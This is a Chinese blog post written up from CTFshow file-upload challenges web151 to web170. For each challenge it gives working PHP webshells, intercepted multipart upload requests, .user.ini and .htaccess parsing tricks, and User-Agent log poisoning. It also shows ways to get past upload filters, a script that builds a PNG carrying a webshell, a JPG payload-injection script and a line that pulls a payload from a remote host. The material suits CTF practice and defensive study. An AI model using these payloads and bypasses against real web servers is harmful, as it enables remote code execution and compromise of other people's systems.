Loading

[CTFshow] 文件上传 151-170

web151

提示:前台校验不可靠

  1. 直接上传1.php提示图片不符合,并且页面无刷新,再根据提示,应该是js验证的,在F12发现了上传验证

    layui.use('upload', function(){
      var upload = layui.upload;
       
      //执行实例
      var uploadInst = upload.render({
        elem: '#upload' //绑定元素
        ,url: '/upload/' //上传接口
        ,done: function(res){
        	if(res.code==0){
        		$("#result").html("文件上传成功,路径:"+res.msg);
        	}else{
        		$("#result").html("文件上传失败,失败原因:"+res.msg);
        	}
          
        }
        ,error: function(){
          $("#result").html("文件上传失败");
        }
      });
    });
    
    
  2. 上传一张图片抓包,然后修改信息,修改filename1.php,内容为一句马

    POST /upload.php HTTP/1.1
    .....
    -----------------------------270096245816276080941607688265
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------270096245816276080941607688265--
    
    
  3. 在根据回显路径访问后门,后面常规操作

web152

提示:后端校验要严密

  1. 上传正常图片然后抓包然后修改

    -----------------------------9874466933019553249480037215
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------9874466933019553249480037215--
    

    上传成功,这题应该是要修改MIME的,不过因为我们是修改正常图片的包所以MINE不用改

web153

提示:后端校验要严密

  1. 上传正常图片然后抓包然后修改

    -----------------------------8190292523814729420460717781
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------8190292523814729420460717781--
    

    提示文件类型不合规,可能是检测后缀名了,但是php的后缀名有很多.phtml .phps .php5 .pht

    不过尝试了这几种后缀名也不行

  2. 尝试使用user.ini(该方法必须上传目录存在.php文件)

    上传图片马shell.php

    -----------------------------3853501443680031518359320506
    Content-Disposition: form-data; name="file"; filename="shell.png"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------3853501443680031518359320506--
    
    

    上传.user.ini,auto_prepend_file = <刚刚上传的图片马>

    -----------------------------3853501443680031518359320506
    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    auto_prepend_file=shell.png
    
    -----------------------------3853501443680031518359320506--
    
  3. 访问 /upload/index.php ,此时因为.user.ini的设置 index.php包含了shell.png ,操作一句马即可

web154

提示:后端校验要严密

  1. 尝试上传图片马,上传失败,提示文件内容不合规,经检查是过滤了php ,使用短标签

    -----------------------------408186127524735908351363813842
    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval($_POST[1]);?>
    
    -----------------------------408186127524735908351363813842--
    
  2. 再上传.user.ini包含 payload.png,然后访问upload/index/php 进行操作

web155

提示:后端校验要严密

  1. 尝试上传图片马,上传成功

    -----------------------------166267126630299567892000136666
    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval($_POST[1]);?>
    
    -----------------------------166267126630299567892000136666--
    
  2. 剩下的和上一题一模一样

web156

提示:后端校验要严密

  1. 尝试上传图片马,提示:文件类型不合规,经检查过滤了 [] 修改为 {} 即可

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval($_POST{1});?>
    
  2. 剩下的和上一题一模一样

web157

提示:后端校验要严密

  1. 尝试上传图片马,提示:文件类型不合规,{};也被过滤了,其实可以直接读取文件的,分号直接去掉就行的,因为?>会作为文件的结束

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval(system('tac ../fla*'))?>
    
  2. 然后上传.user.ini文件,上传直接访问upload/index.php 直接读取文件回显

web158

提示:后端校验要严密

  1. 尝试上传图片马,上传成功

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval(system('tac ../fla*'))?>
    
  2. 剩下的和上一题一模一样

web159

提示:后端校验要严密

  1. 尝试上传图片马,提示:文件类型不合规,检查后发现括号被过滤了,使用反引号``` 也是用于命令执行

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=`tac ../fla*`?>
    
  2. 剩下的和上一题一模一样

web160

提示:后端校验要严密

  1. 尝试上传图片马,提示:文件类型不合规,比之前多过滤了空格和```

    可以配合日志文件来操作

    payload.png

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=include"/var/lo"."g/nginx/access.l"."og"?> //文件包含日志文件
    

    .user.ini ,记得修改UA头

    POST /upload.php HTTP/1.1
    Host: xxx.challenge.ctf.show
    User-Agent: Mozilla/5.0 (Wind<?php eval($_POST[1]); ?>ows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    .....
    -----------------------------24943745528283497061656564654
    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    auto_prepend_file=payload.png
    
    -----------------------------24943745528283497061656564654--
    
  2. 访问upload/index.php 出现日志内容表示包含成功,POST密码1,获取flag.php文件内容即可

web161

提示:后端校验要严密

  1. 尝试上传正常照片抓包,报错了,文件类型不合规,应该是文件头的缘故

    GIF89a是常见gif文件头,我们只要在内容里面添加即可

  2. 首先上传.user.ini

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=payload.png
    

    再上传payload.png ,别忘记修改UA

    User-Agent: Mozilla/5.0 (Windo<?php eval($_POST[1]);?>ws NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 
    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    GIF89a
    <?=include"/var/lo"."g/nginx/access.l"."og"?>
    
  3. 访问upload/index.php 出现日志内容表示包含成功,POST密码1,获取flag.php文件内容即可

web162

提示:后端校验要严密

  1. 上传 .user.ini , 报错:文件类型不合规,发现是.被过滤了,上传不带后缀名的即可

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=payload
    
  2. 可以直接 .user.ini 包含远程代码,前提是服务器允许远程包含

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=http://xxxxxxxx/payload
    

web163

提示:后端校验要严密

  1. 上传 .user.ini , 上传不带后缀名的

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=payload
    
  2. 可以直接 .user.ini 包含远程代码

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=http://xxxxxxxx/payload
    

web164

提示:后端校验要严密

  1. 发现上传不了.user.ini 文件了,我们上传张图片试试

    上传成功后点击查看图片,发现链接地址是

    download.php?image=96c27bb6f75a00d0774060746f3adf73.png 看着有文件包含漏洞,并且图片被二次渲染了

  2. 思路:只要上传的png图片二次渲染后还保留着后门代码即可形成文件包含

  3. 使用脚本生成即可,也可以自己制作

    # 脚本
    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
               0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
               0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
               0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
               0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
               0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
               0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
               0x66, 0x44, 0x50, 0x33);
    $img = imagecreatetruecolor(32, 32);
    for ($y = 0; $y < sizeof($p); $y += 3) {
       $r = $p[$y];
       $g = $p[$y+1];
       $b = $p[$y+2];
       $color = imagecolorallocate($img, $r, $g, $b);
       imagesetpixel($img, round($y / 3), 0, $color);
    }
    imagepng($img,'./1.png');
    ?>
    
    

    使用脚本会在当前目录生成一个带有<?=$_GET[0]($_POST[1]);?> 后门代码的1.png

  4. 如何把图片传上去,点击查看图片

    // GET
    /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system
    // POST
    1=ls
    

    然后抓包查看,因为页面上是图片显示不了,得抓包看

web165

看着像是上一题,但是上传类型改为了jpg

  1. 制作jpg马,与图片选取关系很大,很容易就制作失败

    # 脚本
    <?php
        /*
    
        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
        It is necessary that the size and quality of the initial image are the same as those of the processed image.
    
        1) Upload an arbitrary image via secured files upload script
        2) Save the processed image and launch:
        jpg_payload.php <jpg_name.jpg>
    
        In case of successful injection you will get a specially crafted image, which should be uploaded again.
    
        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    
        Sergey Bobrov @Black2Fan.
    
        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    
        */
    
        $miniPayload = "<?=phpinfo();?>";
    
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
            die('php-gd is not installed');
        }
    
        if(!isset($argv[1])) {
            die('php jpg_payload.php <jpg_name.jpg>');
        }
    
        set_error_handler("custom_error_handler");
    
        for($pad = 0; $pad < 1024; $pad++) {
            $nullbytePayloadSize = $pad;
            $dis = new DataInputStream($argv[1]);
            $outStream = file_get_contents($argv[1]);
            $extraBytes = 0;
            $correctImage = TRUE;
    
            if($dis->readShort() != 0xFFD8) {
                die('Incorrect SOI marker');
            }
    
            while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                $marker = $dis->readByte();
                $size = $dis->readShort() - 2;
                $dis->skip($size);
                if($marker === 0xDA) {
                    $startPos = $dis->seek();
                    $outStreamTmp = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        str_repeat("\0",$nullbytePayloadSize) . 
                        substr($outStream, $startPos);
                    checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                    if($extraBytes !== 0) {
                        while((!$dis->eof())) {
                            if($dis->readByte() === 0xFF) {
                                if($dis->readByte !== 0x00) {
                                    break;
                                }
                            }
                        }
                        $stopPos = $dis->seek() - 2;
                        $imageStreamSize = $stopPos - $startPos;
                        $outStream = 
                            substr($outStream, 0, $startPos) . 
                            $miniPayload . 
                            substr(
                                str_repeat("\0",$nullbytePayloadSize).
                                    substr($outStream, $startPos, $imageStreamSize),
                                0,
                                $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                    substr($outStream, $stopPos);
                    } elseif($correctImage) {
                        $outStream = $outStreamTmp;
                    } else {
                        break;
                    }
                    if(checkImage('payload_'.$argv[1], $outStream)) {
                        die('Success!');
                    } else {
                        break;
                    }
                }
            }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
    
        function checkImage($filename, $data, $unlink = FALSE) {
            global $correctImage;
            file_put_contents($filename, $data);
            $correctImage = TRUE;
            imagecreatefromjpeg($filename);
            if($unlink)
                unlink($filename);
            return $correctImage;
        }
    
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
            global $extraBytes, $correctImage;
            $correctImage = FALSE;
            if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                if(isset($m[1])) {
                    $extraBytes = (int)$m[1];
                }
            }
        }
    
        class DataInputStream {
            private $binData;
            private $order;
            private $size;
    
            public function __construct($filename, $order = false, $fromString = false) {
                $this->binData = '';
                $this->order = $order;
                if(!$fromString) {
                    if(!file_exists($filename) || !is_file($filename))
                        die('File not exists ['.$filename.']');
                    $this->binData = file_get_contents($filename);
                } else {
                    $this->binData = $filename;
                }
                $this->size = strlen($this->binData);
            }
    
            public function seek() {
                return ($this->size - strlen($this->binData));
            }
    
            public function skip($skip) {
                $this->binData = substr($this->binData, $skip);
            }
    
            public function readByte() {
                if($this->eof()) {
                    die('End Of File');
                }
                $byte = substr($this->binData, 0, 1);
                $this->binData = substr($this->binData, 1);
                return ord($byte);
            }
    
            public function readShort() {
                if(strlen($this->binData) < 2) {
                    die('End Of File');
                }
                $short = substr($this->binData, 0, 2);
                $this->binData = substr($this->binData, 2);
                if($this->order) {
                    $short = (ord($short[1]) << 8) + ord($short[0]);
                } else {
                    $short = (ord($short[0]) << 8) + ord($short[1]);
                }
                return $short;
            }
    
            public function eof() {
                return !$this->binData||(strlen($this->binData) === 0);
            }
        }
    ?>
    
    

    我没成功,找不到合适的jpg

web166

提示:后端校验要严密

  1. 发现页面的按钮不是上传图片了,而是上传文件,打开f12查看发现限制上传的是zip文件,并且可以下载,返回的是压缩包的内容,所以可能存在文件包含

  2. 创建一个正常的压缩包文件,然后在尾部加上webshell例如<?php eval($_POST[1]); ?>

    image

  3. 上传成功后点击下载文件抓包,把get请求改为post,

    POST /upload/download.php?file=20008e8d8f575249a4941a8ccd76430a.zip HTTP/1.1
    
    .......
    
    1=phpinfo();
    

    回显成功,之后正常操作就行

web167

提示:httpd

  1. 一般httpd指的是apache,apache也有解析漏洞, 上传覆盖.htaccess文件,重写解析规则

    首先上传.htaccess 文件,把jpg文件当作php文件解析

    上传一张正常jpg照片,抓包修改内容即可

    Content-Disposition: form-data; name="file"; filename=".htaccess"
    Content-Type: image/jpeg
    <IfModule mime_module>
    	AddHandler php5-script .jpg          
    	SetHandler application/x-httpd-php   
    </IfModule>
    
  2. 上传.htaccess 成功后我们再上传带有后门代码的jpg图片

    Content-Disposition: form-data; name="file"; filename="1.jpg"
    Content-Type: image/jpeg
    
    <?php eval($_POST[1]); ?>
    
  3. 访问/upload/1.jpg ,post传输1=phpinfo(); 回显成功,直接读取flag文件即可

web168

提示:基础免杀

  1. 上传正常的png文件回显成功,但是上传带有后门代码的png文件就回显null

  2. 尝试修改短标签

    image

    竟然上传成功

  3. 然后上传.htaccess 文件,解析png为php文件,但是上传之后没效果

  4. 然后尝试将第二步的shell2.png后缀名改为php,发现上传成功了

  5. 然后访问/upload/shell2.php 发现回显成功,接着修改段标签的内容找到flag即可

web169

提示:高级免杀

  1. 上传正常的zip压缩包发现上传不上去,经检测需要将MIME改为image/png 以及 GIF89a文件头

    **Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    GIF89a**
    
  2. 尝试插入短标签之类的

    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    GIF89a
    <?=`ls`?>
    

    返回NULL,发现<>?被过滤了

  3. 考虑包含日志文件,.user.ini 可以上传,直接把日志文件当作php解析,顺便在UA头部添加payload

    //.user.ini
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/2<?=eval($_POST[1]);?>0100101 Firefox/130.0
    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=/var/log/nginx/access.log
    
  4. 但是.user.ini 起作用的前提是同目录需存在php文件,我们直接访问/upload/时发现403,没有index.php文件,所以我们再上传一个index.php文件

    Content-Disposition: form-data; name="file"; filename="index.php"
    Content-Type: image/png
    
    GIF89a
    
  5. 访问/upload/ 日志文件回显,成功包含,密码1,phpinfo();回显成功,读取flag文件即可

web170

提示:终极免杀

  1. 尝试上一题的做法,成功获取flag
posted @ 2024-09-17 01:28  sunset2131  阅读(18)  评论(0编辑  收藏  举报